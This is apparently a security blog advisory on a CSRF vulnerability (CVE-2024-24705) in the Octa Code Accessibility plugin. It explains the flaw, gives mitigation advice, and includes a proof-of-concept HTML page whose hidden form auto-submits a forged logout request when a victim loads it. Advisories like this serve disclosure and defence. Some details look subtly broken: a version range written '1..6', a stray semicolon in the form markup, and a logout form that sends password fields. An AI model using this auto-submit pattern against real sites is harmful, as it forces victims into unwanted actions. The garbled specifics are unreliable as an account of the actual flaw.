Security researchers have recently discovered a Cross-Site Request Forgery (CSRF) vulnerability in the Octa Code Accessibility plugin. This vulnerability has been assigned the CVE number CVE-2024-24705, and it specifically impacts Octa Code Accessibility versions from n/a through 1..6. In this post, we reveal the details of the vulnerability, providing information on how it can be exploited and potential remedies for it. We will also share important references for further understanding and guidance.

Vulnerability Details

A CSRF vulnerability allows attackers to force users to execute unauthorized actions on a web application without their knowledge. Here, the vulnerability in Octa Code Accessibility could allow a malicious user to trick an innocent user into performing unwanted actions such as changing settings, creating new users, or logging out a user without their consent.

Exploit Details

The exploit for this vulnerability takes advantage of the fact that certain actions in the Octa Code Accessibility plugin do not implement CSRF protection correctly. An attacker could leverage this vulnerability by crafting a malicious webpage containing a hyperlink or an automatically submitted form with matching request parameters that target an action in Octa Code Accessibility.

For example, let's say the attacker wants to force an unwitting victim to log out from the plugin without their consent. The attacker could create a webpage that includes an iframe or a hidden form with the proper request parameters for logging out. When the victim visits the attacker's webpage, their browser will automatically send a request to the targeted action, inadvertently executing it.

The following code snippet demonstrates what the attack might look like

<html>
    <head>
        <title>Malicious Page</title>
    </head>
    <body>
        <form action="https://yourwebsite.com/plugin_url/logout"; method="POST" id="logoutForm">
            <input type="hidden" name="username" value="victim" />
            <input type="hidden" name="password" value="password" />
        </form>
        <script>
            document.getElementById("logoutForm").submit();
        </script>
    </body>
</html>

In this case, the malicious website would post a logout request to Octa Code Accessibility, causing the victim's session with the plugin to end.

Mitigation

To protect against this CSRF vulnerability, the Octa Code Accessibility developers must implement proper CSRF protection measures. This involves including a CSRF token in requests to the application server that is unique for each user session and validating it by comparing it to the server-stored token. The developers should also ensure that all sensitive actions require the same CSRF token validation.

Users of Octa Code Accessibility are encouraged to update the plugin to the latest version as soon as a security patch is released addressing this vulnerability. In the meantime, users can either disable the plugin or limit its use by authorized personnel only.
